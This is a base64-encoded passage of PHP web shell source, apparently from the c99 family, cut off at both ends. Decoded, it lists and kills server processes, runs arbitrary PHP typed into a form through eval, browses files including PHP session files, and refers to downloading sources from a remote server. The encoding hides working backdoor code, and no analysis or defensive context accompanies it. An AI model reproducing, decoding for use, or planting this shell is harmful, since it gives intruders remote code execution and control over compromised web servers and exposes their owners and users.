IGlmICgkayA9PSAkYmNbInNyYyJdKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgIGVj
aG8gIiBzZWxlY3RlZCI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICI+IiAuICR2
WzBdIC4gIjwvb3B0aW9uPiI7DQogICAgICAgIH0gPz48L3NlbGVjdD4mbmJzcDs8aW5wdXQgdHlw
ZT1zdWJtaXQgbmFtZT1kcHN1Ym1pdCB2YWx1ZT0iUnVuIj48L2Zvcm0+PGI+Tm90ZTo8L2I+IHNv
dXJjZXMgd2lsbCBiZSBkb3dubG9hZGVkIGZyb20gcmVtb3RlIHNlcnZlci48P3BocA0KICAgIH0N
CiAgICBpZiAoJGFjdCA9PSAicHJvY2Vzc2VzIikNCiAgICB7DQogICAgICAgIGVjaG8gIjxiPlBy
b2Nlc3Nlczo8L2I+PGJyPiI7DQogICAgICAgIGlmICghJHdpbikNCiAgICAgICAgew0KICAgICAg
ICAgICAgJGhhbmRsZXIgPSAicHMgLWF1eCIgLiAoJGdyZXAgPyAiIHwgZ3JlcCAnIiAuIGFkZHNs
YXNoZXMoJGdyZXApIC4gIiciIDogIiIpOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAg
ICAgew0KICAgICAgICAgICAgJGhhbmRsZXIgPSAidGFza2xpc3QiOw0KICAgICAgICB9DQogICAg
ICAgICRyZXQgPSBteXNoZWxsZXhlYygkaGFuZGxlcik7DQogICAgICAgIGlmICghJHJldCkNCiAg
ICAgICAgew0KICAgICAgICAgICAgZWNobyAiQ2FuJ3QgZXhlY3V0ZSBcIiIgLiAkaGFuZGxlciAu
ICJcIiEiOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAg
aWYgKGVtcHR5KCRwcm9jZXNzZXNfc29ydCkpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAg
ICAgJHByb2Nlc3Nlc19zb3J0ID0gJHNvcnRfZGVmYXVsdDsNCiAgICAgICAgICAgIH0NCiAgICAg
ICAgICAgICRwYXJzZXNvcnQgPSBwYXJzZXNvcnQoJHByb2Nlc3Nlc19zb3J0KTsNCiAgICAgICAg
ICAgIGlmICghaXNfbnVtZXJpYygkcGFyc2Vzb3J0WzBdKSkNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAkcGFyc2Vzb3J0WzBdID0gMDsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICRrID0gJHBhcnNlc29ydFswXTsNCiAgICAgICAgICAgIGlmICgkcGFyc2Vzb3J0WzFdICE9ICJh
IikNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkeSA9ICI8YSBocmVmPVwiIiAuICRz
dXJsIC4gImFjdD0iIC4gJGRzcGFjdCAuICImZD0iIC4gdXJsZW5jb2RlKCRkKSAuICImcHJvY2Vz
c2VzX3NvcnQ9IiAuICRrIC4gImFcIj48aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmlt
Zz1zb3J0X2Rlc2NcIiBoZWlnaHQ9XCI5XCIgd2lkdGg9XCIxNFwiIGJvcmRlcj1cIjBcIj48L2E+
IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAkeSA9ICI8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD0iIC4gJGRzcGFjdCAu
ICImZD0iIC4gdXJsZW5jb2RlKCRkKSAuICImcHJvY2Vzc2VzX3NvcnQ9IiAuICRrIC4gImRcIj48
aW1nIHNyYz1cIiIgLiAkc3VybCAuICJhY3Q9aW1nJmltZz1zb3J0X2FzY1wiIGhlaWdodD1cIjlc
IiB3aWR0aD1cIjE0XCIgYm9yZGVyPVwiMFwiPjwvYT4iOw0KICAgICAgICAgICAgfQ0KICAgICAg
ICAgICAgJHJldCA9IGh0bWxzcGVjaWFsY2hhcnMoJHJldCk7DQogICAgICAgICAgICBpZiAoISR3
aW4pDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgaWYgKCRwaWQpDQogICAgICAgICAg
ICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNfbnVsbCgkc2lnKSkNCiAgICAgICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHNpZyA9IDk7DQogICAgICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgZWNobyAiU2VuZGluZyBzaWduYWwg
IiAuICRzaWcgLiAiIHRvICMiIC4gJHBpZCAuICIuLi4gIjsNCiAgICAgICAgICAgICAgICAgICAg
aWYgKHBvc2l4X2tpbGwoJHBpZCwgJHNpZykpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAg
ICAgICAgICAgICAgICAgICAgIGVjaG8gIk9LLiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAg
ICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAg
ICAgICAgICAgICAgICBlY2hvICJFUlJPUi4iOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAg
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIHdoaWxlIChwcmVnX21hdGNoKCIgICIsICRy
ZXQpKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJldCA9IHN0cl9y
ZXBsYWNlKCIgICIsICIgIiwgJHJldCk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAg
ICAgICRzdGFjayA9IGV4cGxvZGUoIlxuIiwgJHJldCk7DQogICAgICAgICAgICAgICAgJGhlYWQg
PSBleHBsb2RlKCIgIiwgJHN0YWNrWzBdKTsNCiAgICAgICAgICAgICAgICB1bnNldCgkc3RhY2tb
MF0pOw0KICAgICAgICAgICAgICAgIGZvciAoJGkgPSAwOyRpIDwgY291bnQoJGhlYWQpOyRpKysp
DQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoJGkgIT0gJGspDQog
ICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRoZWFkWyRpXSA9
ICI8YSBocmVmPVwiIiAuICRzdXJsIC4gImFjdD0iIC4gJGRzcGFjdCAuICImZD0iIC4gdXJsZW5j
b2RlKCRkKSAuICImcHJvY2Vzc2VzX3NvcnQ9IiAuICRpIC4gJHBhcnNlc29ydFsxXSAuICJcIj48
Yj4iIC4gJGhlYWRbJGldIC4gIjwvYj48L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkcHJjcyA9IGFycmF5KCk7DQogICAgICAg
ICAgICAgICAgZm9yZWFjaCAoJHN0YWNrIGFzICRsaW5lKQ0KICAgICAgICAgICAgICAgIHsNCiAg
ICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGluZSkpDQogICAgICAgICAgICAgICAgICAg
IHsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIjx0cj4iOw0KICAgICAgICAgICAgICAg
ICAgICAgICAgJGxpbmUgPSBleHBsb2RlKCIgIiwgJGxpbmUpOw0KICAgICAgICAgICAgICAgICAg
ICAgICAgJGxpbmVbMTBdID0gam9pbigiICIsIGFycmF5X3NsaWNlKCRsaW5lLCAxMCkpOw0KICAg
ICAgICAgICAgICAgICAgICAgICAgJGxpbmUgPSBhcnJheV9zbGljZSgkbGluZSwgMCwgMTEpOw0K
ICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRsaW5lWzBdID09IGdldF9jdXJyZW50X3VzZXIo
KSkNCiAgICAgICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAkbGluZVswXSA9ICI8Zm9udCBjb2xvcj1ncmVlbj4iIC4gJGxpbmVbMF0gLiAiPC9mb250PiI7
DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkbGlu
ZVtdID0gIjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PXByb2Nlc3NlcyZkPSIgLiB1cmxlbmNv
ZGUoJGQpIC4gIiZwaWQ9IiAuICRsaW5lWzFdIC4gIiZzaWc9OVwiPjx1PktJTEw8L3U+PC9hPiI7
DQogICAgICAgICAgICAgICAgICAgICAgICAkcHJjc1tdID0gJGxpbmU7DQogICAgICAgICAgICAg
ICAgICAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlDQogICAgICAgICAgICB7
DQogICAgICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goIiAgIiwgJHJldCkpDQogICAgICAg
ICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwg
IgkiLCAkcmV0KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgd2hpbGUgKHBy
ZWdfbWF0Y2goIiAgIiwgJHJldCkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwgIgkiLCAkcmV0KTsNCiAgICAgICAgICAgICAg
ICB9DQogICAgICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goIiAgIiwgJHJldCkpDQogICAg
ICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIiAg
IiwgIgkiLCAkcmV0KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgd2hpbGUg
KHByZWdfbWF0Y2goIiAgIiwgJHJldCkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwgIgkiLCAkcmV0KTsNCiAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goIiAgIiwgJHJldCkpDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmV0ID0gc3RyX3JlcGxhY2Uo
IiAgIiwgIgkiLCAkcmV0KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgd2hp
bGUgKHByZWdfbWF0Y2goIiAgIiwgJHJldCkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgICAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwgIgkiLCAkcmV0KTsNCiAgICAgICAg
ICAgICAgICB9DQogICAgICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goIiAgIiwgJHJldCkp
DQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmV0ID0gc3RyX3JlcGxh
Y2UoIiAgIiwgIgkiLCAkcmV0KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAg
d2hpbGUgKHByZWdfbWF0Y2goIiAgIiwgJHJldCkpDQogICAgICAgICAgICAgICAgew0KICAgICAg
ICAgICAgICAgICAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIiAgIiwgIgkiLCAkcmV0KTsNCiAgICAg
ICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goIiAgIiwgJHJl
dCkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmV0ID0gc3RyX3Jl
cGxhY2UoIiAgIiwgIgkiLCAkcmV0KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAg
ICAgd2hpbGUgKHByZWdfbWF0Y2goIgkJIiwgJHJldCkpDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICAkcmV0ID0gc3RyX3JlcGxhY2UoIgkJIiwgIgkiLCAkcmV0KTsNCiAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgd2hpbGUgKHByZWdfbWF0Y2goIgkgIiwg
JHJldCkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAkcmV0ID0gc3Ry
X3JlcGxhY2UoIgkgIiwgIgkiLCAkcmV0KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAg
ICAgICAgJHJldCA9IGNvbnZlcnRfY3lyX3N0cmluZygkcmV0LCAiZCIsICJ3Iik7DQogICAgICAg
ICAgICAgICAgJHN0YWNrID0gZXhwbG9kZSgiXG4iLCAkcmV0KTsNCiAgICAgICAgICAgICAgICB1
bnNldCgkc3RhY2tbMF0sICRzdGFja1syXSk7DQogICAgICAgICAgICAgICAgJHN0YWNrID0gYXJy
YXlfdmFsdWVzKCRzdGFjayk7DQogICAgICAgICAgICAgICAgJGhlYWQgPSBleHBsb2RlKCIJIiwg
JHN0YWNrWzBdKTsNCiAgICAgICAgICAgICAgICAkaGVhZFsxXSA9IGV4cGxvZGUoIiAiLCAkaGVh
ZFsxXSk7DQogICAgICAgICAgICAgICAgJGhlYWRbMV0gPSAkaGVhZFsxXVswXTsNCiAgICAgICAg
ICAgICAgICAkc3RhY2sgPSBhcnJheV9zbGljZSgkc3RhY2ssIDEpOw0KICAgICAgICAgICAgICAg
IHVuc2V0KCRoZWFkWzJdKTsNCiAgICAgICAgICAgICAgICAkaGVhZCA9IGFycmF5X3ZhbHVlcygk
aGVhZCk7DQogICAgICAgICAgICAgICAgaWYgKCRwYXJzZXNvcnRbMV0gIT0gImEiKQ0KICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHkgPSAiPGEgaHJlZj1cIiIgLiAkc3Vy
bCAuICJhY3Q9IiAuICRkc3BhY3QgLiAiJmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiJnByb2Nlc3Nl
c19zb3J0PSIgLiAkayAuICJhXCI+PGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9
c29ydF9kZXNjXCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAg
ICB7DQogICAgICAgICAgICAgICAgICAgICR5ID0gIjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0
PSIgLiAkZHNwYWN0IC4gIiZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIiZwcm9jZXNzZXNfc29ydD0i
IC4gJGsgLiAiZFwiPjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1nPXNvcnRfYXNj
XCIgaGVpZ2h0PVwiOVwiIHdpZHRoPVwiMTRcIiBib3JkZXI9XCIwXCI+PC9hPiI7DQogICAgICAg
ICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGlmICgkayA+IGNvdW50KCRoZWFkKSkNCiAgICAg
ICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRrID0gY291bnQoJGhlYWQpIC0gMTsN
CiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgZm9yICgkaSA9IDA7JGkgPCBjb3Vu
dCgkaGVhZCk7JGkrKykNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlm
ICgkaSAhPSAkaykNCiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAg
ICAgJGhlYWRbJGldID0gIjxhIGhyZWY9XCIiIC4gJHN1cmwgLiAiYWN0PSIgLiAkZHNwYWN0IC4g
IiZkPSIgLiB1cmxlbmNvZGUoJGQpIC4gIiZwcm9jZXNzZXNfc29ydD0iIC4gJGkgLiAkcGFyc2Vz
b3J0WzFdIC4gIlwiPjxiPiIgLiB0cmltKCRoZWFkWyRpXSkgLiAiPC9iPjwvYT4iOw0KICAgICAg
ICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRwcmNz
ID0gYXJyYXkoKTsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkc3RhY2sgYXMgJGxpbmUpDQog
ICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsaW5lKSkN
CiAgICAgICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPHRy
PiI7DQogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IGV4cGxvZGUoIgkiLCAkbGluZSk7
DQogICAgICAgICAgICAgICAgICAgICAgICAkbGluZVsxXSA9IGludHZhbCgkbGluZVsxXSk7DQog
ICAgICAgICAgICAgICAgICAgICAgICAkbGluZVsyXSA9ICRsaW5lWzNdOw0KICAgICAgICAgICAg
ICAgICAgICAgICAgdW5zZXQoJGxpbmVbM10pOw0KICAgICAgICAgICAgICAgICAgICAgICAgJGxp
bmVbMl0gPSBpbnR2YWwoc3RyX3JlcGxhY2UoIiAiLCAiIiwgJGxpbmVbMl0pKSAqIDEwMjQ7DQog
ICAgICAgICAgICAgICAgICAgICAgICAkcHJjc1tdID0gJGxpbmU7DQogICAgICAgICAgICAgICAg
ICAgICAgICBlY2hvICI8L3RyPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkaGVhZFska10gPSAiPGI+IiAuICRo
ZWFkWyRrXSAuICI8L2I+IiAuICR5Ow0KICAgICAgICAgICAgJHYgPSAkcHJvY2Vzc2VzX3NvcnRb
MF07DQogICAgICAgICAgICB1c29ydCgkcHJjcywgInRhYnNvcnQiKTsNCiAgICAgICAgICAgIGlm
ICgkcHJvY2Vzc2VzX3NvcnRbMV0gPT0gImQiKQ0KICAgICAgICAgICAgew0KICAgICAgICAgICAg
ICAgICRwcmNzID0gYXJyYXlfcmV2ZXJzZSgkcHJjcyk7DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICAkdGFiID0gYXJyYXkoKTsNCiAgICAgICAgICAgICR0YWJbXSA9ICRoZWFkOw0KICAgICAg
ICAgICAgJHRhYiA9IGFycmF5X21lcmdlKCR0YWIsICRwcmNzKTsNCiAgICAgICAgICAgIGVjaG8g
IjxUQUJMRSBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNl
bGxQYWRkaW5nPTUgd2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMzMzMzMzIGJvcmRlckNvbG9yTGln
aHQ9I2MwYzBjMCBib3JkZXI9MSBib3JkZXJjb2xvcj1cIiNDMEMwQzBcIj4iOw0KICAgICAgICAg
ICAgZm9yZWFjaCAoJHRhYiBhcyAkaSA9PiAkaykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAg
ICAgICBlY2hvICI8dHI+IjsNCiAgICAgICAgICAgICAgICBmb3JlYWNoICgkayBhcyAkaiA9PiAk
dikNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIGlmICgkd2luIGFuZCAk
aSA+IDAgYW5kICRqID09IDIpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAg
ICAgICAgICAgICR2ID0gdmlld19zaXplKCR2KTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgICAgICAgICBlY2hvICI8dGQ+IiAuICR2IC4gIjwvdGQ+IjsNCiAgICAgICAgICAg
ICAgICB9DQogICAgICAgICAgICAgICAgZWNobyAiPC90cj4iOw0KICAgICAgICAgICAgfQ0KICAg
ICAgICAgICAgZWNobyAiPC90YWJsZT4iOw0KICAgICAgICB9DQogICAgfQ0KICAgIGlmICgkYWN0
ID09ICJldmFsIikNCiAgICB7DQogICAgICAgIGlmICghZW1wdHkoJGV2YWwpKQ0KICAgICAgICB7
DQogICAgICAgICAgICBlY2hvICI8Yj5SZXN1bHQgb2YgZXhlY3V0aW9uIHRoaXMgUEhQLWNvZGU8
L2I+Ojxicj4iOw0KICAgICAgICAgICAgJHRtcCA9IG9iX2dldF9jb250ZW50cygpOw0KICAgICAg
ICAgICAgJG9sZGRpciA9IHJlYWxwYXRoKCIuIik7DQogICAgICAgICAgICBAY2hkaXIoJGQpOw0K
ICAgICAgICAgICAgaWYgKCR0bXApDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgb2Jf
Y2xlYW4oKTsNCiAgICAgICAgICAgICAgICBldmFsKCRldmFsKTsNCiAgICAgICAgICAgICAgICAk
cmV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQogICAgICAgICAgICAgICAgJHJldCA9IGNvbnZlcnRf
Y3lyX3N0cmluZygkcmV0LCAiZCIsICJ3Iik7DQogICAgICAgICAgICAgICAgb2JfY2xlYW4oKTsN
CiAgICAgICAgICAgICAgICBlY2hvICR0bXA7DQogICAgICAgICAgICAgICAgaWYgKCRldmFsX3R4
dCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICRyb3dzID0gY291bnQo
ZXhwbG9kZSgiXHJcbiIsICRyZXQpKSArIDE7DQogICAgICAgICAgICAgICAgICAgIGlmICgkcm93
cyA8IDEwKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICAk
cm93cyA9IDEwOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIGVj
aG8gIjxicj48dGV4dGFyZWEgY29scz1cIjEyMlwiIHJvd3M9XCIiIC4gJHJvd3MgLiAiXCIgcmVh
ZG9ubHk+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJHJldCkgLiAiPC90ZXh0YXJlYT4iOw0KICAgICAg
ICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICAgICBlY2hvICRyZXQgLiAiPGJyPiI7DQogICAgICAgICAgICAgICAgfQ0K
ICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgew0KICAgICAgICAg
ICAgICAgIGlmICgkZXZhbF90eHQpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAg
ICAgICBlY2hvICI8YnI+PHRleHRhcmVhIGNvbHM9XCIxMjJcIiByb3dzPVwiMTVcIiByZWFkb25s
eT4iOw0KICAgICAgICAgICAgICAgICAgICBldmFsKCRldmFsKTsNCiAgICAgICAgICAgICAgICAg
ICAgZWNobyAiPC90ZXh0YXJlYT4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAg
ICBlbHNlDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICRyZXQ7
DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgQGNoZGlyKCRv
bGRkaXIpOw0KICAgICAgICB9DQogICAgICAgIGVsc2UNCiAgICAgICAgew0KICAgICAgICAgICAg
ZWNobyAiPGI+RXhlY3V0aW9uIFBIUC1jb2RlPC9iPiI7DQogICAgICAgICAgICBpZiAoZW1wdHko
JGV2YWxfdHh0KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZXZhbF90eHQgPSB0
cnVlOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gIjxmb3JtIGFjdGlv
bj1cIiIgLiAkc3VybCAuICJcIiBtZXRob2Q9UE9TVD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1h
Y3QgdmFsdWU9ZXZhbD48dGV4dGFyZWEgbmFtZT1cImV2YWxcIiBjb2xzPVwiMTIyXCIgcm93cz1c
IjEwXCI+IiAuIGh0bWxzcGVjaWFsY2hhcnMoJGV2YWwpIC4gIjwvdGV4dGFyZWE+PGlucHV0IHR5
cGU9aGlkZGVuIG5hbWU9XCJkXCIgdmFsdWU9XCIiIC4gJGRpc3BkIC4gIlwiPjxicj48YnI+PGlu
cHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiRXhlY3V0ZVwiPiZuYnNwO0Rpc3BsYXkgaW4gdGV4dC1h
cmVhJm5ic3A7PGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJldmFsX3R4dFwiIHZhbHVl
PVwiMVwiIjsNCiAgICAgICAgaWYgKCRldmFsX3R4dCkNCiAgICAgICAgew0KICAgICAgICAgICAg
ZWNobyAiIGNoZWNrZWQiOw0KICAgICAgICB9DQogICAgICAgIGVjaG8gIj48L2Zvcm0+IjsNCiAg
ICB9DQogICAgaWYgKCRhY3QgPT0gImYiKQ0KICAgIHsNCiAgICAgICAgaWYgKCghaXNfcmVhZGFi
bGUoJGQgLiAkZikgb3IgaXNfZGlyKCRkIC4gJGYpKSBhbmQgJGZ0ICE9ICJlZGl0IikNCiAgICAg
ICAgew0KICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRkIC4gJGYpKQ0KICAgICAgICAgICAg
ew0KICAgICAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGI+UGVybWlzaW9uIGRlbmllZCAoIiAu
IGh0bWxzcGVjaWFsY2hhcnMoJGQgLiAkZikgLiAiKSE8L2I+PC9jZW50ZXI+IjsNCiAgICAgICAg
ICAgIH0NCiAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBl
Y2hvICI8Y2VudGVyPjxiPkZpbGUgZG9lcyBub3QgZXhpc3RzICgiIC4gaHRtbHNwZWNpYWxjaGFy
cygkZCAuICRmKSAuICIpITwvYj48YnI+PGEgaHJlZj1cIiIgLiAkc3VybCAuICJhY3Q9ZiZmPSIg
LiB1cmxlbmNvZGUoJGYpIC4gIiZmdD1lZGl0JmQ9IiAuIHVybGVuY29kZSgkZCkgLiAiJmM9MVwi
Pjx1PkNyZWF0ZTwvdT48L2E+PC9jZW50ZXI+IjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0K
ICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRl
bnRzKCRkIC4gJGYpOw0KICAgICAgICAgICAgJGV4dCA9IGV4cGxvZGUoIi4iLCAkZik7DQogICAg
ICAgICAgICAkYyA9IGNvdW50KCRleHQpIC0gMTsNCiAgICAgICAgICAgICRleHQgPSAkZXh0WyRj
XTsNCiAgICAgICAgICAgICRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOw0KICAgICAgICAgICAgJHJm
dCA9ICIiOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGZ0eXBlcyBhcyAkayA9PiAkdikNCiAgICAg
ICAgICAgIHsNCiAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoJGV4dCwgJHYpKQ0KICAgICAg
ICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgJHJmdCA9ICRrOw0KICAgICAgICAgICAg
ICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAg
ICAgICBpZiAocHJlZ19tYXRjaCgic2Vzc18oLiopIiwgJGYpKQ0KICAgICAgICAgICAgew0KICAg
ICAgICAgICAgICAgICRyZnQgPSAicGhwc2VzcyI7DQogICAgICAgICAgICB9DQogICAgICAgICAg
ICBpZiAoZW1wdHkoJGZ0KSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkZnQgPSAk
cmZ0Ow0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgJGFyciA9IGFycmF5KA0KICAgICAgICAg
ICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAiPGltZyBzcmM9XCIiIC4gJHN1cmwg
LiAiYWN0PWltZyZpbWc9ZXh0X2RpelwiIGJvcmRlcj1cIjBcIj4iLA0KICAgICAgICAgICAgICAg
ICAgICAiaW5mbyINCiAgICAgICAgICAgICAgICApICwNCiAgICAgICAgICAgICAgICBhcnJheSgN
CiAgICAgICAgICAgICAgICAgICAgIjxpbWcgc3JjPVwiIiAuICRzdXJsIC4gImFjdD1pbWcmaW1n
PWV4dF9odG1sXCIgYm9yZGVyPVwiMFwiPiIsDQogICAgICAgICAgICAgICAgICAgICJodG1sIg0K
ICAgICAgICAgICAgICAgICkgLA0KICAgICAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAg
ICAgICAgICAiPGltZyBzcmM9XCIiIC4gJHN1cmwgLiAiYWN0PWltZyZpbWc9ZXh0X3R4dFwiIGJv
cmRlcj1cIjBcIj4iLA0KICAgICAgICAgICAgICAgICAgICAidHh0Ig0KICAgICAgICAgICAgICAg
ICkgLA0KICAgICAgICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAiQ29kZSIs
DQogICAgICAgICAgICAgICAgICAgICJjb2RlIg0KICAgICAgICAgICAgICAgICkgLA0KICAgICAg
ICAgICAgICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAiU2Vzc2lvbiIsDQogICAgICAg
ICAgICAgICAgICAgICJwaHBzZXNzIg0KICAgICAgICAgICAgICAgICkgLA0KICAgICAgICAgICAg
ICAgIGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAiPGltZyBzcmM9XCIiIC4gJHN1cmwgLiAi
YWN0PWltZyZpbWc9ZXh0X2V4ZVwiIGJvcmRlcj1cIjBcIj4iLA0KICAgICAgICAgICAgICAgICAg
